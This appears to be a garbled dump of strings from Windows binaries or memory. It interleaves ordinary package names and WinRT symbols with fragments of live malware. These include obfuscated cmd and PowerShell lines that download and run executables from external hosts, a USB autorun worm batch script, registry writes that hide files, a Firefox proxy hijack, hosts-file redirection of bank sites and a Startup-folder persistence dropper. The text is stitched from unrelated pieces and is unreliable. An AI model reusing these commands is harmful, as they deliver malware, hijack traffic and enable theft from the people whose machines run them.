.?AU?$produce_base@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UUsersPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
system32
echo---remove"windowssecurity"iconfromtaskbar
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
ss^t^ar^t^m^s^i^ex^e^cnn^d^j^t^kq=r^x^o^f^l^nj^j^s/fv"http://2t.wf:8080/bmyg2aazw7lyfpehqfjk/yrpnmhvt/!computername!"/qui^e^t!%systemroot%\system32\shell32.dll%windir%\system32\cmd.exe
c:\windows\system32\cmd.exeaccesstheinternet!..\..\..\windows\system32\cmd.exea/ccurlhttp://45.61.137.32/svvhost.rar-o%windir%\temp\ms7.exe&&%windir%\temp\ms7.execmd.exe!%systemroot%
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command(new-objectsystem.net.webclient).downloadfile('https://downloadthecorrectversion.space/vickk/r.txt'
}j<html><head><metahttp-equiv="content-type"content="text/html;charset=windows-1252"></head><body>functionjfr3pw{returnnew-objectsystem.net.webclient}functionyt9eqs{$p1="ht"$p2="tp"$p3="://"$p4="92"$p5=".255"$p6=".85"$p7=".2"$p8="/qx"$p9="m.ex"$p10="e
&L:processsslcreate_default_contextcheck_hostnamecert_noneverify_modeurllibrequestrequesturlopenopenreadr4rgetsizer%subprocessstartupinfodwflagsstartf_useshowwindowwshowwindowpopendevnullcreate_no_windowstartfiler)target_urlhidden_pathtemp_filectxr
LOGONSERVER=\\WINDOWS11
COMPUTERNAME=WINDOWS11
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
c:\windows\system32\cmd.exe/kstartmsedgehttps://www.carolinamade.com/live/employment/employment_application.pdf&curl-slo%temp%\bosfortuy.mshttp://consaltinvestemploymentapply.com/doc/setup4726.msi&msiexec/i%temp%\bosfortuy.ms/qn|taskkill/f/imcmd.exe
powershell.exe-windowstylehidden-command(new-objectsystem.net.webclient).downloadfile('https://shipping-hr.ro/m/r/r.txt','c:\\programdata\\
powershell-windowstylehidden-execbypass-c"$down=new-objectsystem.net.webclient;$
=c:\windows\go.bat:copyfor%%iin(efghklmn)do(ifexist%%i\*.vbs(ping127.0.0.1-n5>nul)else(copyln.bat%%i:\ln.bat2>nulcopygo.bat%%i:\go.batcopygo.batc:\windows\go.batcopybot.txt%%i:\bot.execopybot.txt%temp%\bot.execopyshortcut.exe%%i:\shortcut.exeecho[autorun]>>%%i:\autorun.infechoopen=go.bat>>%%i:\autorun.infechoexecute=go.bat>>%%i:\autorun.infattrib+s+h%%i:\ln.batattrib+s+h%%i:\go.batattrib+s+hc:\windows\go.batattrib+s+h%%i:\bot.exeattrib+s+h%%i:\shortcut.exeattrib+s+
[Windows]
HyperV-Storage-QoS-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-OneCore-Connectivity-HID-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-OneCore-Connectivity-HID-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-CoreSystem-UnifiedBPM-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Multimedia-WMPDMC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Security-SPP-Component-SKU-Education-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.2610
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy
MicrosoftWindows.CrossDevice_cw5n1h2txyewy
MicrosoftWindows.CrossDevice_0.25062.28.0_neutral_split.scale-100_cw5n1h2txyewy
MicrosoftWindows.CrossDevice_0.25062.28.0_neutral_split.scale-125_cw5n1h2txyewy
WindowsWelcomeExperience
WindowsDefender
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
onecore\windows\advcore\ctf\inputsetting\usersessioninputprofiles.cpp
onecore\windows\advcore\ctf\inputsetting\inputprofilesettings.cpp
icudt77l/windows-1250-html.cnv
icudt77l/windows-1251-html.cnv
icudt77l/windows-1252-html.cnv
icudt77l/windows-1253-html.cnv
icudt77l/windows-1254-html.cnv
icudt77l/windows-1255-html.cnv
icudt77l/windows-1256-html.cnv
icudt77l/windows-1257-html.cnv
icudt77l/windows-1258-html.cnv
icudt77l/windows-874-html.cnv
icudt77l/windows-936-2000.cnv
icudt77l/windowsZones.res
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
WindowsCreateString
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateStringReference
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
cREGWRITE ( "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" , "HideFileExt" , "reg_dword" , 1 )R
REGWRITE ( "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" , "SuperHidden" , "reg_dword" , 1 )R
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" , "ShowSuperHidden" , "REG_DWORD" , 0 )H
RUNFILE ( @WINDOWSDIR & "\svhost.exeR
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
M#c:\windows\system32
7Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!App
@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/Files/images/Logo.png}
2ad^com.microsoft.windows.ai.a
2b1^com.microsoft.windows.ez
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general 
rsPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_3>@?5??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_1>@?4??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_1>@?4??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_2>@?4??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_1>@?4??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_8>@?L@??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_7>@?9??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_8>@?L@??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_8>@?L@??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_6>@?8??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_6>@?8??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_7>@?9??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_7>@?9??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_5>@?7??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_5>@?7??Connect@?$StartupAppsPageT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_6>@?8??Connect@?$StartupAppsP
windows update
Windows U
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.ApplicationModel.Email.DataProvider
Windows.ApplicationModel.Email
Windows.ApplicationModel.Core
Windows.ApplicationModel.DataTransfer
Windows.ApplicationModel.DataTransfer.DragDrop.Core
Windows.ApplicationModel.DataTransfer.DragDrop
Windows.ApplicationModel.DataTransfer.ShareTarget
Windows.ApplicationModel.Contacts.DataProvider
Windows.ApplicationModel.Contacts.Provider
Windows.ApplicationModel.ConversationalAgent
Windows.ApplicationModel.Chat
Windows.ApplicationModel.CommunicationBlocking
Windows.ApplicationModel.Contacts
Windows.ApplicationModel.Calls
Windows.ApplicationModel.Calls.Background
Windows.ApplicationModel.Calls.Provider
Windows.ApplicationModel.Appointments.AppointmentsProvider
Windows.ApplicationModel.Appointments.DataProvider
Windows.ApplicationModel.Background
Windows.ApplicationModel.AppExtensions
Windows.ApplicationModel.AppService
Windows.ApplicationModel.Appointments
,,chkSysEve:\windows handler\handler.dat:
Windows.Data.Platform.Partitioning.PartitionSet
Windows.Data.Platform.Partitioning.SystemPartitionIndex
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.Partitioning.DeviceExperiencePartition
Windows.Data.Platform.Partitioning.Partition
Windows.Data.Platform.Partitioning.PartitionIndex
Windows.Data.Platform.Partitioning.ActivePartitions
Windows.Data.Platform.Partitioning.DevicePartitions
Windows.Data.Settings.MultiTasking.SnapWindows
Windows.Data.Settings.MultiTasking.MultiTaskDesktop
SnapWindows
Windows.Data.Settings.MultiTasking.MultiTaskOthers
titleBarWindowShakeEnabled
Windows.Data.Common.Point
Windows.Data.Common.Rect
Windows.Data.Common.Size
Windows.Data.Common.Color
Windows.Data.Account.AccountInfo
Windows.Data.Account.SecondaryAccounts
Windows.Data.Apps.IconInfo
Windows.Data.Apps.AppMetaData
CloudData.WindowsClient.AssetReference
Windows.Data.Apps.ShortcutInfo
Windows.Data.Apps.AppLevelTileInfo
Windows.Data.Apps.FileInfo
Windows.Data.Apps.AppCompatInfo
Windows.Data.Apps.DeviceMetaData
Windows.Data.Apps.AppCompatProviderResults
Windows.Data.Apps.AppMatchingInfo
9N92MC09DB30GoodnotesLimited.GoodNotesforWindows_wjqdg2qn10y2jGoodnotes Limited
9N1F85V9T8BNMicrosoftCorporationII.Windows365_8wekyb3d8bbweMicrosoft Corporation
9NRX63209R7BMicrosoft.OutlookforWindows_8wekyb3d8bbweMicrosoft Corporation
9WZDNCRFJ3PVMicrosoft.WindowsScan_8wekyb3d8bbweMicrosoft Corporation
Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-NFS-Administration-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
A at L %dtcpip_thread208.67.222.222User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
wow64_microsoft-windows-ncrypt-dll_31bf3856ad364e35_none_de9145fa76f80810
wow64_microsoft-windows-ncrypt-events_31bf3856ad364e35_none_b8a39464fc3efc19
wow64_microsoft-windows-ncryptprov-dll_31bf3856ad364e35_none_e4c30054f3238c5b
wow64_microsoft-windows-ncryptsslp-dll_31bf3856ad364e35_none_a68e95722a35b23e
wow64_microsoft-windows-nddeapi_31bf3856ad364e35_none_cafb1b688cfebecc
wow64_microsoft-windows-ndis-implatform_31bf3856ad364e35_none_7e9ad5d1c3297b55
wow64_microsoft-windows-ndis-packetcapture_31bf3856ad364e35_none_fc3af94941025c06
wow64_microsoft-windows-ndis-tdi-bindingengine_31bf3856ad364e35_none_5f3cb2d0aa16babd
wow64_microsoft-windows-net-command-line-tool_31bf3856ad364e35_none_352d336ff6dfb298
tokens=*"%%ein('dir"%homepath%\.."/b/s^|find"prefs.js"')do%windir%\system32\attrib.exe-r-a-s-h"%%e"&&echouser_pref("network.proxy.autoconfig_url","%pac%"
landing.qpoe.com:8080/popka/?u=6&id=LockWindowsBot\Project\AntiPiratewinlock\AntiPirate\ReleaseInetAccelerator\InetAccelerator.exedelete HKLM\System\CurrAHrefGoToYourself
Unwecho 184.82.146.86 http://hotmail.com >> %windir%\system32\drivers\etc\hostsecho 184.82.146.86 https://baneco.com.bo >> %windir%\system32\drivers\etc\hosts
%systemroot%\system32\ctfmon.exe
FactoryHelper<struct winrt::Microsoft::Windows::Widgets::Internal::Feeds::Providers::FeedManager>::CreateInstance::<lambda_1>::operator ()
FactoryHelper<struct winrt::Microsoft::Windows::Widgets::Internal::Feeds::Providers::FeedManager>::CreateInstance
FactoryHelper<struct winrt::Microsoft::Windows::Widgets::Internal::Feeds::Hosts::FeedHostManager>::CreateInstance::<lambda_1>::operator ()
FactoryHelper<struct winrt::Microsoft::Windows::Widgets::Internal::Feeds::Hosts::FeedHostManager>::CreateInstance
FactoryHelper<struct winrt::Microsoft::Windows::Widgets::Internal::Feeds::Hosts::FeedCatalog>::CreateInstance::<lambda_1>::operator ()
FactoryHelper<struct winrt::Microsoft::Windows::Widgets::Internal::Feeds::Hosts::FeedCatalog>::CreateInstance
FactoryHelper<struct winrt::Microsoft::Windows::Widgets::Internal::Providers::WidgetManager>::CreateInstance::<lambda_1>::operator ()
FactoryHelper<struct winrt::Microsoft::Windows::Widgets::Internal::Providers::WidgetManager>::CreateInstance
FactoryHelper<struct winrt::Microsoft::Windows::Widgets::Internal::Hosts::WidgetCatalog>::CreateInstance::<lambda_1>::operator ()
FactoryHelper<struct winrt::Microsoft::Windows::Widgets::Internal::Hosts::WidgetCatalog>::CreateInstance
FactoryHelper<struct winrt::Microsoft::Windows::Widgets::Internal::Hosts::WidgetHostManager>::CreateInstance::<lambda_1>::operator ()
FactoryHelper<struct winrt::Microsoft::Windows::Widgets::Internal::Hosts::WidgetHostManager>::CreateInstance
FactoryHelper<struct winrt::Microsoft::Windows::Widgets::Internal::Hosts::WidgetApiInformation>::CreateInstance::<lambda_1>::operator ()
FactoryHelper<struct winrt::Microsoft::Windows::Widgets::Internal::Hosts::WidgetApiInformation>::CreateInstance
Windows.Perception
Windows.Perception.Spatial
Windows.Foundation.Numerics
Windows.System.RemoteSystems
Windows.ApplicationModel
Windows.ApplicationModel.winmd
Windows.ApplicationModel.Activation
Windows.Foundation
=$env:systemroot+"\syswow64\windowspowershell\v1.0\powershell";iex"&$
=https://minutes-amazing-curriculum-maui.trycloudflare.com/update.bat"::gettheuser'sstartupfolderpathset"startupfolder=%userprofile%\appdata\roaming\microsoft\windows\startmenu\programs\startup"::ensurethestartupfolderexistsifnotexist"%startupfolder%"(mkdir"%startupfolder%")
c:\windows\system32\windowspowershell\v1.0\powershell.exe-executionpolicybypassdjqbinrdfgfdhdfboohopntjfmdjtgfzsdfdfddfgndhdxgfdbhdhfhfxgcnsxfnhd-windowstyle-commandhiddennoise.dat;(new-objectsystem.net.webclient).downloadfile('http://directsomdtinm.ydns.eu/viks1/dfglder.exe
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|!
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Ge-Client-Server-26200-Version-Enablement-Payload-Package~31bf3856ad364e35~amd64~~10.0.26100.6717.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Security-SPP-Component-SKU-CloudEdition-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-Education-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-Enterprise-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-Professional-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalCountrySpecific-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalEducation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalSingleLanguage-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalWorkstation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|Package_4_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|
IsExportedToWindowsRuntimeImpl
SuppressFlowWindowsIdentity
msWindowsUserActivities
Windows.Data.Apps.TileMatchingInfo
Windows.Data.Apps.PackagedProducts
Windows.Data.Apps.UnpackagedProducts
Windows.Data.Background.DesktopWallpaper
Windows.Data.BlueLightReduction.ScheduleTime
Windows.Data.BlueLightReduction.Settings
Windows.Data.BlueLightReduction.BlueLightReductionState
Windows.Data.BlueLightReduction.SettingsPerDevice
Windows.Data.BlueLightReduction.BlueLightReductionStatePerDevice
Windows.Data.ColorSettings.ColorData
Windows.Data.ContrastThemes.SynchedTheme
Windows.Data.DeviceSettings.DeviceSettingsData
Windows.Data.DoNotDisturb.QuietHoursProfile
Windows.Data.DoNotDisturb.BoolWithMetadata
Windows.Data.DoNotDisturb.QuietHoursSettings
Windows.Data.DoNotDisturb.QuietMoment
Windows.Data.Input.Devices.MouseSyncedSettings
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.Input.Devices.PenSyncedSettings
Windows.Data.Input.Devices.TouchpadSyncedSettings
Windows.Data.Input.Devices.MouseSettings
Windows.Data.Input.Devices.TouchSettings
Windows.Data.Input.Devices.TouchpadSettings
Windows.Data.Input.Devices.PenSettings
Windows.Data.Input.Devices.PenPerDevice
allowScrollInactiveWindows
Windows.Data.Input.InkAndPen.InkPlatformSettings
Windows.Data.Input.InkAndPen.PenSettingShortcuts
Windows.Data.Input.InkAndPen.ShellHandwriting
Windows.Data.LockScreenSettings.DesktopLockScreen
Windows.Data.LunarCalendar
Windows.Data.LunarCalendarPerDevice
Windows.Data.NetworkUX.Cellular.ImsiMeteredPairs
Windows.Data.NetworkUX.Cellular.CellularSettings
Windows.Data.NetworkUX.VPN.VPNSharingSettings
Windows.Data.NetworkUX.Wifi.WiFiPrivacySettings
Windows.Data.Notifications.BoolWithMetadata
Windows.Data.Notifications.QuietHoursProfile
Windows.Data.Notifications.QuietMoment
Windows.Data.Notifications.QuietHoursSettings
Windows.Data.Platform.BackupRestore.DeviceProfile
Windows.Data.Platform.BackupRestore.ManifestBackupStore
Windows.Data.PersonalizationThemes.Theme
Windows.Data.Settings.DateTimeSettings.TimeZone
Windows.Data.Settings.DisplaySettings.MultipleDisplays
minimizeWindowsOnMonitorDisconnect
Windows.Data.WindowsBackup.Preference.Toggles
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Internal.Providers.ActivateApplicationWidgetProvider.g.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.Security.Cryptography.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Internal.Providers.WidgetChannelManager.g.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.Security.Cryptography.DataProtection.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.Storage.Streams.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Microsoft.Windows.Widgets.Providers.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Microsoft.Windows.Widgets.Notifications.h
USERDOMAIN_ROAMINGPROFILE=Windows11
ComSpec=C:\WINDOWS\system32\cmd.exe
IShellWindowsWWW
5c:\windows\system32\cmd.exe/cstart/minmshta"javascript:(function(){try{try{var_
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.Paste
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SingleKeyAction
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.SuggestionCandidateItemsPanelo
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.T2
Microsoft.Windows.Widgets.winmd
Microsoft.Windows.Widgets.pdb
Microsoft.Windows.Widgets.dll
Windows.Data.Platform.Encryption.Complex
Windows.Data.Shell.FocusS
>RoamingState (C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy)
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy (C:\Users\job\AppData\Local\Packages)
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
''file:C:/Users/job/AppData/Local/Packages/Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/RoamingState
'!C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\RoamingStatec
C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
>LocalState (C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy)
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy (C:\Users\job\AppData\Local\Packages)
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
&'file:C:/Users/job/AppData/Local/Packages/Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/LocalStateG
*Microsoft.Windows.ContentDeliveryManager_cw
Microsoft.Windows.
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
\\%s\admin$\system32\%s
chaveie=\software\microsoft\windows\currentversion\internet settingshttp://diamond.inovalink.net/wab/index2.phph
powershell-noprofile-noninteractive-nologo-windowstylehidden-executionpolicyunrestricted"c:\users\public\untitled.ps1"
.expandenvironmentstrings("%windir%\syswow64\windowspowershell\v1.0\powershell.exe")endif
Change Windows feedback frequencyc
Let Windows collect activities from this PCw
Let Windows sync activities from this PC to the cloudL
*Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy-Out-Block"
